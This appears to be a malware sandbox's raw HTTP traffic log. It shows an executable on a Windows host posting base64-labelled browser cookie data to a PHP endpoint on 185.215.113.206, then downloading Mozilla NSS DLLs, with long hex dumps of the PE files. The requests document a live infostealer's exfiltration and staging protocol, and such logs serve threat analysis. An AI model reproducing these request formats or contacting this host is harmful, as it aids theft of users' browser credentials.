Nov 24, 2024 04:20:22.942183018 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 24, 2024 04:20:22.942302942 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 24, 2024 04:20:22.946335077 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49794	185.215.113.206	80	884	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:20:32.432130098 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCB Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GDHDHJEBGHJKFIECBGCB--
Nov 24, 2024 04:20:34.375447989 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 04:20:34.486586094 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKJEHDBGHIEBGCGDGH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="file"------CBAKJEHDBGHIEBGCGDGH--
Nov 24, 2024 04:20:35.439541101 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49835	185.215.113.206	80	884	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:20:41.033771038 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDGIJKFIJDAAAKFHIEG Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 04:20:41.033802032 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 47 49 4a 4b 46 49 4a 44 41 41 41 4b 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 Data Ascii: ------CGDGIJKFIJDAAAKFHIEGContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------CGDGIJKFIJDAAAKFHIEGContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 24, 2024 04:20:42.970767021 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 04:20:43.145231962 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKJKEBKFCAAECAAAAAE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 65 36 65 31 66 34 39 37 35 65 30 37 37 65 34 31 35 64 39 31 36 33 39 61 63 63 39 35 36 33 32 30 35 33 34 39 32 62 31 38 31 34 37 33 37 34 37 30 32 38 37 37 66 35 63 37 32 38 37 31 32 63 64 38 63 39 65 34 62 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKKJKEBKFCAAECAAAAAEContent-Disposition: form-data; name="token"be6e1f4975e077e415d91639acc95632053492b18147374702877f5c728712cd8c9e4b10------KKKJKEBKFCAAECAAAAAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKKJKEBKFCAAECAAAAAEContent-Disposition: form-data; name="file"------KKKJKEBKFCAAECAAAAAE--
Nov 24, 2024 04:20:44.093715906 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 04:20:44.622514009 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 04:20:45.077946901 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 24, 2024 04:20:45.077976942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 24, 2024 04:20:45.077991962 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 24, 2024 04:20:45.078104973 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 24, 2024 04:20:45.078120947 CET	496	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 24, 2024 04:20:45.078213930 CET	1236	IN	Data Raw: 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff 75 14 e8 23 fc ff ff 83 c4 08 85 c0 74 1c 8b 3e 85 ff 74 20 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 eb 0a 8b 45 ec 8b 4d f0 Data Ascii: ^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@HWVS^_[]USWVPM}G9vh
Nov 24, 2024 04:20:45.078229904 CET	1236	IN	Data Raw: 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 1c 06 88 14 3e 83 c0 02 eb b2 66 c7 86 00 01 00 00 00 00 89 f7 8b Data Ascii: >\>=t%>>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9Eshy
Nov 24, 2024 04:20:45.078314066 CET	1236	IN	Data Raw: 66 0f 70 fe e8 66 0f 70 ed e8 66 0f 62 fd 66 0f 6e 6c 07 04 66 0f ef db 66 0f 60 eb 66 0f 61 eb 66 0f ef db 66 0f eb f9 66 0f 72 f4 17 66 0f fe 25 e0 20 08 10 f3 0f 5b cc 66 0f 70 e5 f5 66 0f f4 e9 66 0f 70 f5 e8 66 0f 70 c9 f5 66 0f f4 cc 66 0f Data Ascii: fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`faffrf[fpffpffpfp
Nov 24, 2024 04:20:45.078330994 CET	1236	IN	Data Raw: d6 89 75 e0 8b 45 e8 8b 4d ec 01 c8 83 c0 01 0f b6 c0 8b 4d f0 0f b6 0c 01 00 cb 0f b6 f3 8b 55 f0 0f b6 14 32 8b 7d f0 88 14 07 8b 45 f0 88 0c 30 00 ca 0f b6 c2 8b 4d f0 0f b6 04 01 89 45 cc 8b 45 e8 8b 4d ec 8d 4c 01 02 0f b6 c9 8b 45 f0 0f b6 Data Ascii: uEMMU2}E0MEEMLEE0}M1MMEUU}47}4E0UMUU}47}4M1uU
Nov 24, 2024 04:20:45.086544037 CET	1236	IN	Data Raw: ff 8b b5 74 ff ff ff 8b 46 30 89 85 30 ff ff ff 8b 8d dc fe ff ff 8b 51 18 89 95 b8 fe ff ff 01 c2 8b 76 34 89 b5 2c ff ff ff 8b 41 1c 89 85 bc fe ff ff 89 c7 11 f7 8b 41 38 89 85 d8 fe ff ff 01 c2 89 55 d0 8b 41 3c 11 c7 89 7d e4 89 c6 89 85 b4 Data Ascii: tF00Qv4,AA8UA<}5[dy!~6_U:O31\tS8ES<]\E]1d1dMM}1
Nov 24, 2024 04:20:46.721774101 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 04:20:47.177114964 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 24, 2024 04:20:48.097518921 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 04:20:48.552731037 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 24, 2024 04:20:49.239017963 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 04:20:49.729682922 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 24, 2024 04:20:53.182389975 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 04:20:53.677074909 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 24, 2024 04:20:54.459824085 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
